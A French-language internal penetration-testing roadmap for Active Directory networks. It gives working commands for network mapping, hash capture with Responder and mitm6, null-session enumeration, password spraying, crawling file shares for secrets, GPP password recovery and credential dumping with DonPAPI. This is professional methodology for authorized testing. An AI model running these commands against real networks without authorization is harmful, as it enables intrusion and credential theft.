Roadmap TI interne
Outillage
- Images Exegol (AD ou Full pour ne pas prendre de risques)
- Modèle de prise de notes sous Obsidian [Lien]
- Un Pack Office/Libre Office/Only Office pour ne pas être pris de cours quand on voudra ouvrir des documents trouvés dans les partages réseau
Boite noire
Accès au réseau
ifconfig # Consulter l'IP et les caractéristiques réseau
sudo dhclient eth0 -v # Demander l'attribution d'une adresse IP au serveur DHCPDans le cas où il n’y a pas de serveur DHCP, l’obtention d’une adresse IP ne se fera pas naturellement, il faut alors s’attribuer une IP fixe :
sudo systemctl stop NetworkManager
sudo ip addr flush eth0
sudo ip addr add $IP_ADDRESS/$MASK dev eth0Il peut être intéressant également, pour scanner d’autres sous-réseaux, d’ajouter des routes par défaut.
sudo ip route add default dev eth0 via $IP_GATEWAYEcoute passive du réseau
- Démarrer un WireShark sur l’interface principale
- Vérifier la présence de protocoles en clair ou protocoles multidiffusion tels que LLMNR, NBT-NS ou MDNS
Cartographie du réseau
Faire un nmap sur les réseaux/sous-réseaux identifiés et bien mettre l’option -oA pour avoir toutes les sorties.
nmap -sC -sV -p- $IP --open -oA ScanNmapIl est conseillé d’importer les scans dans Metasploit pour s’en resservir par la suite lors d’analyses/exploits sur des services.
msfdb init # Initialiser la base de données de Metasploit
metasploit # Lancer Metasploit
# Dans Metasploit
msf > workspace -a $NOM # Créer un espace de travail pour le projet
msf > workspace $NOM # Rentrer dans l'espace de travail voulu
msf > db_import $XML_FILE # Import du XML généré par NmapDans le cas où le réseau est très étendu, installer et utiliser WebMap afin d’avoir un joli rendu de l’énorme scan nmap : [Github]
Protocoles multidiffusion
Lancer un Responder afin de voir quels protocoles multidiffusion sont actifs sur le réseau et garder une trace si des hashs NTLMv2 sont récupérés.
responder -I eth0 -wFvLes résultats sont stockés dans /usr/share/responder/logs/Responder-Session.log
Si le protocole IPv6 est activé, il est encore plus simple et rapide de recueillir des hashs avec MITM6 :
mitm6 -i eth0 -d $DOMAINSessions nulles et anonymes
Vérifier sur la session nulle est autorisée sur le protocole SMB :
crackmapexec smb $IP_RANGE -u '' -p '' --sharesMais aussi sur le protocole RPC :
rpcclient -p 135 -U '' -N $IPOu encore sur le protocole LDAP :
ldapdomaindump $IP_DCEtude des applicatifs
HTTP
- Utiliser Aquatone pour avoir une vue rapide de toutes les interfaces et applications web qui tournent sous les ports 80 et 443.
cat $IPS_FILE | aquatoneFTP
- Tester les accès Anonymes avec
Metasploit
msf > use auxiliary/scanner/ftp/anonymous
msf > services -p 21 -R
msf > runBoite grise
Récupération des informations du domaine
Exporter les objets du domaine pour les intégrer à BloodHound :
bloodhound-python -d $DOMAIN -u $USER -p $PASSWORD -c ALL -dc $DC_NAME -ns $IP_DNS --dns-tcp --tns-timeout 5Installer le BloodHound de Lyak, qui intègre les certificats ADCS : [Github] (Pas besoin sous Exegol, car il intègre déjà le bon BloodHound)
Lancer ensuite BloodHound pour y injecter les fichiers JSON générés et débuter l’analyse du domaine :
sudo neo4j start
bloodhoundSous Exegol, il y a une petite commande bien sympathique qui remonte toutes les analyses “quickwin” (ACL permissives, chemins de compromissions etc.)
bloodhound-quickwin -u neo4j -p exegol4thewinPour obtenir des informations sur le domaine qui ne sont pas sous la forme d’un graphe, deux outils sont disponibles : goddi et ldapdomaindump.
goddi -username=$USER -password=$PASS -domain=$DOMAIN -dc=$DC_NAME -unsafe
ldapdomaindump -u $USER -p $PASS -o $OUTPUT_DIR $DC_IPExploiter les partages réseau
Lister les partages réseau avec crackmapexec en prenant soin de filtrer les répertoires avec à minimat l’accès en lecture :
crackmapexec smb $IP_RANGE -u $USER -p $PASS --shares | grep "READ" | grep -v "IPC"Le module spider_plus de crackmapexec permet de récupérer tous les fichiers présents dans les partages et les sauvegarder dans un répertoire /tmp/cme_spider_plus :
crackmapexec smb $IP_RANGE -u $USER -p $PASS --shares -M spider_plusIl est alors possible de faire un grep dans ce répertoire sur des termes intéressants :
grep -rnw /tmp/cme_spider_plus/ -e "pass"
grep -rnw /tmp/cme_spider_plus/ -e "password"
grep -rnw /tmp/cme_spider_plus/ -e "secret"
grep -rnw /tmp/cme_spider_plus/ -e "token"
grep -rnw /tmp/cme_spider_plus/ -e "admin"
grep -rnw /tmp/cme_spider_plus/ -e "username"Attaque par relais NTLM
Si les protocoles multidiffusion sont actifs, il peut être possible de faire du relais NTLM.
Voir la partie consacrée à cette attaque : [Relais NTLM]
Password Spraying
Tout d’abord vérifier la politique de mot de passe :
crackmapexec smb $IP_DC -d $DOMAIN -u $USER -p $PASS --pass-polLes sprays devront être adapté à la politique en place et notamment la présence d’un verrouillage de comptes à partir d’un nombre de tentatives erronées.
S’il n’y a pas de verrouillage, il est possible d’utiliser kerbrute afin d’être plus rapide dans le spray :
kerbrute bruteuser --dc $IP_DC -d $DOMAIN $PASS_LIST $USER_LISTSi un verrouillage est en place, il faut y aller doucement et de préférence avec crackmapexec :
crackmapexec smb $IP_DC -u $USER_LIST -p $PASSWORD --continue-on-successUser as Pass
En plus du spray sur des mots de passe devinables, il peut être bon de tester le nom d’utilisateur en tant que mot de passe.
crackmapexec smb $IP_DC -u $USER_LIST -p $USER_LIST --continue-on-success --no-bruteforceCela peut également être réalisé avec metasploit :
use scanner/smb/smb_login
set USER_FILE $USER_FILE
set USER_AS_PASS true
runKerberoast
Voir la partie consacrée à cette attaque : [Kerberoast]
AS-Rep roasting
Voir la partie consacrée à cette attaque : [AS-REP roasting]
CVE publiques
ZeroLogon
A tester sur les controleurs de domaine [Github]
Attention : N’utiliser que le checker et pas d’exploit
./zerologon_tester.py $DC_HOSTNAME $DC_IPBlueKeep
EternalBlue
Print-Nightmare
GPP Password
Les stratégies de groupe sont stockées dans le partage SYSVOL des contrôleurs de domaine. Tous les utilisateurs du domaine y ont accès en lecture. Cela signifie que si un mot de passe est stocké dans ces GPP, il est possible de le retrouver.
Get-GPPPassword.py "$DOMAIN/$USER:$PASS@$DC_IP"
Get-GPPPassword.py "$DOMAIN/$USER@$DC_IP" -hashes $LM_HASH:$NT_HASHPossible également de le faire avec le module gpp_password de CrackMapExec, qui va sortir tous les fichiers XML dans lesquels se trouvent des mots de passe.
crackmapexec smb $IP_RANGE -u $USER -p $PASS -M gpp_passwordPost Exploitation
Dumper des creds
DonPAPI est un outil qui permet de retrouver des identifiants de connexion (clés DPAPI, mots de passe Wi-Fi, mots de passe en cache dans les navigateurs etc.)
DonPAPI "$DOMAIN/$USER:$PASS@$TARGET"Exfiltrer la base NTDS
Voir la partie consacrée à cette attaque : [Extraire la base NTDS]